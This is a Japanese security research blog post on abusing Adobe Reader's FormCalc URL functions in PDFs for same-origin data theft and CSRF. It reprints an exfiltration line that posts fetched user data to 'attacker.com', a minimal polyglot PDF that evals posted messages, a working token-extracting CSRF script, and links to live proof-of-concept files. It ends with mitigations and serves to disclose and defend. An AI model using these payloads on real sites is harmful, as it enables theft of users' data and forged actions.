前回に続きPDFの特殊機能を説明します!今回はFormCalcというスクリプト言語の説明です。
PDFを使ってフォームが作れるのはご存知かと思いますが、このフォームを作る為にPDFのバージョン1.2からAcroformsが追加され、バージョン1.5からXFA(XML Forms Architecture)が追加されました。フォームでの動的な処理の為、XFAではFormCalcという演算言語が標準言語として使われています。簡単に言うとHTMLで<script>と書いた場合Javascriptとして実行されますが、XFAで<script>と書いた場合FormCalcで実行されるということです。
FormCalcの最新版(?)参考資料は以下です。
http://help.adobe.com/ja_JP/livecycle/9.0/FormCalc.pdf
ちなみに、ブラウザに搭載されているPDF ViewerなどはFormCalcをサポートしていない為、FormCalcが使えるのはAcrobat Readerを使ってPDFを閲覧しようとした場合(標準設定ではIEのみ)になります。
さて、2014年にCure53のAlexander氏によりFormCalcのURL関数を使ったクロスオリジンのデータが取得可能であった脆弱性が修正されたことが公開さ れ、その中で同一オリジンへのデータ取得はバグではない為修正がされない ことも言及されました。
http://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html
http://insert-script.blogspot.com/2015/05/pdf-mess-with-web.html
FormCalc参考資料によるとFormCalcのURL関数には3つの種類があります。Get、Post、Putです。その名の通りPDFと同一のオリジンにGet、Post、Putのリクエストをすることができます。
Getの例
Get("https://SameOrigin.withPDF.com/")
Postの例
Post("https://SameOrigin.withPDF.com/","contents here","application/json","utf-8","Custom: header-here")
Putの例
Put("https://SameOrigin.withPDF.com/", "contents here","utf-8")
参考資料に詳しい説明が載っていますが、パラメータが一番多いPostの説明をすると以下の様になります。
Param 1: ポストするサイトのURL
Param 2: ポストするコンテンツ(Request body)
Param 3: 有効な任意のMIMEタイプ
Param 4: 有効な 任意の文字エンコード
Param 5: 任意のヘッダー(Request header)
3、4、5はオプションです。Alexander氏のスライドを見ると分かるよう、昔はユーザエージェント以外の任意のヘッダーが遅れたようですが、今ではクッキーやホストヘッダーなどが送れなくなっています。しかしサイト独自のヘッダーなどは今でも送れます。
説明が長くなってしまいましたが、Alexander氏の発表から、サイトにPDFファイルをアップロード出来る機能があり、PDFが保存されるオリジンに機密情報がある場合、以下の様にその情報を抜き出すことが出 来ます。
var content = GET("https://SameOrigin.withPDF.com/user_info.php");
Post("http://attacker.com",content);
PoC
https://shhnjk.com/post.pdf(IEでアクセスして下さい)
ブラウザでPDFを開いただけでクロスオリジンに情報が漏洩するという素晴らしい機能です(笑)上記のPoCではhttps://shhnjk.com/xss.txtにGetでアクセスし、そのレスポンスをPostを使って攻撃者のサイトに送っています。クロスオリジンのサイトにPostする場合、普通はエラーになってしまいますが、以下の様なcrossdomain.xmlを設定すればエラーなくPostを受け取れます(一番脆弱なcrossdomain.xmlなので普通のサイトでは設定しないで下さい)。
http://szabist.web.fc2.com/crossdomain.xml
翌年2015年にSoroush氏によりFormCalcとJavascriptを使って、埋め込まれたPDFからGetした情報を別オリジンと共有する手法が公開されました。
https://github.com/nccgroup/CrossSiteContentHijacking
この手法の素晴らしいところは以下のPDF自体に修正を加える必要ない点です。
https://15.rs/ContentHijacking/objects/ContentHijacking.pdf
以下のPoCサイトにPDFのURLと読み取りたい同一オリジンのページを指定してあげるだけでいいのです。
https://15.rs/ContentHijacking/ContentHijackingLoader.html?objfile=https://shhnjk.com/ContentHijacking.pdf&objtype=pdf&target=https://shhnjk.com/xss.txt&isauto=1
IEで開くとhttps://shhnjk.com/xss.txtのコンテンツである<script>alert(document.domain)</script>が表示されるかと思います。さて、読み込むPDFにX-Frame-Optionsが指定されてたら攻撃者のサイトに埋め込んでもダメじゃんと思った方もいるのではないでしょうか。ご心配なく!objectやembedタグ内にtype="application/pdf"と記載することでPDFがホストされているサイトのX-Frame-OptionsやContent-Dispositionは無視されます(笑)
まだまだ続きます。更に翌年2016年にKrzysztof氏とG´abor氏により、各ブラウザでAcrobat Readerを使いPDFを表示する設定にされている場合の脅威に関する研究結果が発表されました。
https://www.alchemistowl.org/pocorgtfo/pocorgtfo12.pdf(Content Sniffing with Comma Chameleon)
上記のPDFはPolyglotで拡張子をZipに変えるとPoCファイルが出てきます(APKファイルにもなるらしい)。素晴らしいペーパーなので是非読んで頂きたいですが、要約したまとめが以下です。
IE: 分かっている通り標準設定でAcrobat Readerが使われ、FormCalcも使える。
Chromium: Acrobat ReaderなどのNPAPIをサポートしていない為、攻撃不可能。
Firefox: Acrobat Readerを使う設定にするとFormCalcは使えるが、使う度に有効にするというボタンを押さなければいけない為、現実的ではない。
Safari: Acrobat Readerを使う設定にするとAcrobat Readerが確認なしで使えてFormCalcも使える。
更にIEとSafariにMIMEタイプがapplication/pdfでないPDFをtype="application/pdf"として埋め込んだところ、SafariはそれでもFormCalcが使えて、IEは使えなかったとのことです。IEでFormCalcが使えかった理由はMIMEタイプが正しくない場合、そのPDFをFileオリジンでロードする為、どんなサイトのPDFでもクロスオリジンとみなされるからです(前編で紹介したやつです)。
この研究では更に、FormCalcのコードをクロスオリジンから送れる最小限のPDFを作成しています。
%PDF-Q 1 0 obj<</Length 1>>stream
<xdp xmlns="http://ns.adobe.com/xdp/"><config><present><pdf><interactive>1</interactive></pdf></present ></config><template><subform name="s"><pageSet/><event activity="exit"><script>r=Eval(P)</script></event></subform></template></xdp> endstream endobj xref 0 2 0000000000 65535 f 0000000007 00000 n trailer<</Root<</AcroForm<</XFA 1 0 R>>/Pages<<>>/OpenAction<</S/JavaScript/JS(hostContainer.messageHandler={onDisclose:Date,onMessag e:function(a){eval(a[0])}})>>>>>> startxref 286 %%EOF
これにより、JSONやCSVファイルなどに上記コードを入れられた場合、そのファイルをPDFとして埋め込むことでPDFがアップロード出来ないサイトにも影響が及ぶようになります。
ここまでがPDFWebSecの軽いまとめです(笑)ここまで読んで頂いた方はあと少しですので頑張って下さいw
さて僕がまず考えたことは、SafariでAcrobat Readerを使う設定にしていない場合でも攻撃できないかという所です。ここで目を付けたのがFDFです。SafariではPDFやFDFのオン/オフ設定が一緒な為、前回説明した通りFDFを許可したサイトではPDFもAcrobat Readerで表示されるようになります。そこに前回紹介したiframeを使って信頼されているドメインから許可を貰えばOK。なはずだった…
Comma Chameleonが発表された後、SafariはPDF関連の機能をよりセキュアしました。まずプラグインの設定からAdobe Readerがオンになってない場合(標準設定では確認)はクリックしないとAcrobat Readerが有効化されないようになりました。こちらはstyle="visibility:hidden;"で以前の確認アラートに戻せることも紹介しました。しかし更に、SafariでFormCalcのURL関数を使ってもクッキーを送ってくれなくなりました(泣)再現の為に以下のページを用意しました。
https://shhnjk.com/CookieOrKitKat.php
こちらはクッキーを持っていればクッキー、持っていなければキットカットと返してくれるページです。クッキーを設定するには以下のページでボタンを押します。
https://shhnjk.com/Cookie.php
ボタンをしてから最初のページに行くとクッキーが帰ってくれば OK。SafariでAdobe Readerをオンにした状態で以下を開きます。
https://shhnjk.com/calc.pdf
こちらはCookieOrKitKat.phpのコンテンツにFormCalcでアクセスし結果をアラートしてくれるPDFです。Safariではクッキーを設定してもPDFを開くとキットカットが返ってくると思います。しかしIEで試すとちゃんとクッキーが返ってきます。その為、SafariでFormCalcを使おうとしても、出来ることはお問い合わせのCSRFバイパスぐらいでしょう。
ではMIMEタイプが正しくないPDFの攻撃は完全に死んだのでしょうか。標準設定では現時点で攻撃する方法はないでしょう。しかし、PDFをAcrobatで表示する設定にしている場合、まだ1つだけ方法があります。Firefoxです。FirefoxでもAcrobat Readerを有効化するにはクリックが必要ですが、こちらもSafari同様style="visibility:hidden;"で有効にしますかのアラートに変わり、iframeを使って別のオリジンの信頼で有効化することが出来ます。
PoC
http://shhnjktest.blogspot.com/2016/10/calc-embed-test.html
Windows版のFirefoxでPDFをAcrobatプラグインで開く設定にした状態でアクセスしてみて下さい。calc.txtを埋め込んでいますが、無事PDFとして読み込み更に攻撃者サイトのオリジンではなく、トップドキュメントのオリジンで許可が聞かれていると思います。Cookie.phpからクッキーを設定するとクッキーというレスポンスが返ってくるかと思います。実際のサイトのiframe内でどのように任意のコンテンツを表示するかですが、まずは前回言ったように広告が使えます。広告を表示しているサイトはiframeサンドボックスを使うと拡張やプラグインが実行されないので良いでしょう。広告がないサイトの場合はリンク作成機能などを見ましょう。リンクのターゲットが任意に指定できる場合はこれが使えます。
PoC
https://shhnjktest.blogspot.com/2015/11/test.html
これは以前紹介したBloggerがコメント投稿にiframeを使っていることを利用し、リンクでコメント投稿のiframeをターゲットにしています。ちなみに、リンクと同一オリジンであればどんなページのiframeでもターゲットに出来ます。
ここで残念なお知らせがあります。Firefoxは2017年の3月からNPAPIをサポートしなくなります。その為、Acrobat ReaderがFirefoxで使えなくなり、今回の攻撃が出来なくなるでしょう。やはりMIMEタイプが正しくないPDFの攻撃は死にゆくのでしょうか。いや、まだ希望があります。IEでMIMEタイプが正しくないPDFの攻撃が出来ないのは、そのPDFをFileオリジンからロードする為です。しかし、リモートのPDFがFileオリジンでロードされることによる脆弱性をIEに報告済みで、2017年のバレンタインデーに修正がリリースされる予定です。ここで間違った修正がリリースされた場合、IEでこの攻撃が可能になってきます。果たしてMSがチョコを渡すのはユーザか、それとも攻撃者か。楽しみですね!
それでh、、、、ちょっと待った。
なんかモヤモヤしませんか?攻撃者は情報をクロスオリジンに送ることだけが目的なのか。いや、我々は改ざんしたい!(笑)
クロスオリジンに情報を送り、その情報からCSRFトークンを抜き出し、攻撃者サイトのフォームに入れて、そこにリダイレクトすればいいのかもしれませんが、面倒くさいし、攻撃者のサイトにリダイレクトしたら攻撃がバレてしまう。
少し初心に戻ってみます。2014年に公開された攻撃の時点で、
var content = GET("https://SameOrigin.withPDF.com/user_info.php");
//content←ここにCSRFトークンも入ってるはず。
Post("http://attacker.com",content);
つまりレスポンスの情報からPDF内でCSRFトークンを抜き出せれば、同一オリジンからそのCSRFトークンを使って攻撃できるということです。FormCalcには色んな関数があるので、その中の文字列関数を使ってみます。
以下にコメントページがあります。
https://shhnjk.com/add_comment.php
クッキーがないと見れないので、先ほどのCookie.phpに行きクッキーを貰います。コメントページにはCSRFトークンがあり(今回はabcdで固定)、投稿されたコメントはcomments.phpに反映されます。このコメント動作をPDFだけを使ってやってみます。
PoC
https://shhnjk.com/CSRF.pdf
以下がスクリプトです。
var content = Get("https://shhnjk.com/add_comment.php");
var csrf = Substr(content, At(content,"token")+13, 4);
var data = Stuff("token=&comment=hacked", 7, 0, csrf);
Post("https://shhnjk.com/comment.php",data,"application/x-www-form-urlencoded","utf-8");
まずGetしたレスポンスからSubstr関数を使ってCSRFトークン(abcd)を抜きます。抜き出す為のトークンスタート位置はAt関数を使って、tokenというキーワードの位置+13(今回の場合のtokenからCSRFトークンのスタート位置までの文字数)で割り出しています。トークンをゲットしたら、Stuff関数で事前に作っておいたリクエストの中にトークンを入れる。その後Postを使ってコメントを送れば終了。PDFを見たユーザの権限でコメントするPoCです。サイトによってはリクエストボディではなくリクエストヘッダー内にCSRFトークンを入れるようなサイトもあるみたいですが、CSRFトークンがレスポンスボディ内にあれば、任意のヘッダーが指定できるため、そのようなサイトでも影響を受けます。
一番最初のPoC及び今回のPoCはPDFのみを使った攻撃なので、信頼されたオリジンから攻撃ができ、攻撃者のサイトに誘導する必要はありません。しかしContent-Dispositionヘッダーがあった場合はダウンロードされてしまう為、攻撃者のサイトに埋め込む必要があります。もう一つの特徴は、PDFを埋め込む攻撃がブラウザのバグ(X-Frame-Optionsをチェックしない)を利用しているのに対し、PDFのみの攻撃はPDFの機能のみを使っています。その為ブラウザ側で正しいチェックが行われてもPDFの攻撃は無くならないでしょう。
対策
ユーザがアップロードしたPDFを重要なオリジンに保存しない。オープンリダイレクトを完全に防ぎたい場合はサンドボックスドメインに保存したPDFにContent-Dispositionをつけて、pdf.jsでPDFのプレビューを表示する。CSVの対策としてはユーザが入力した値の中の改行を消す。JSONやJSONPは仕様に従っていれば、基本影響を受けません。対策の前にComma Chameleonを読むことを強く推奨します。
ではでは。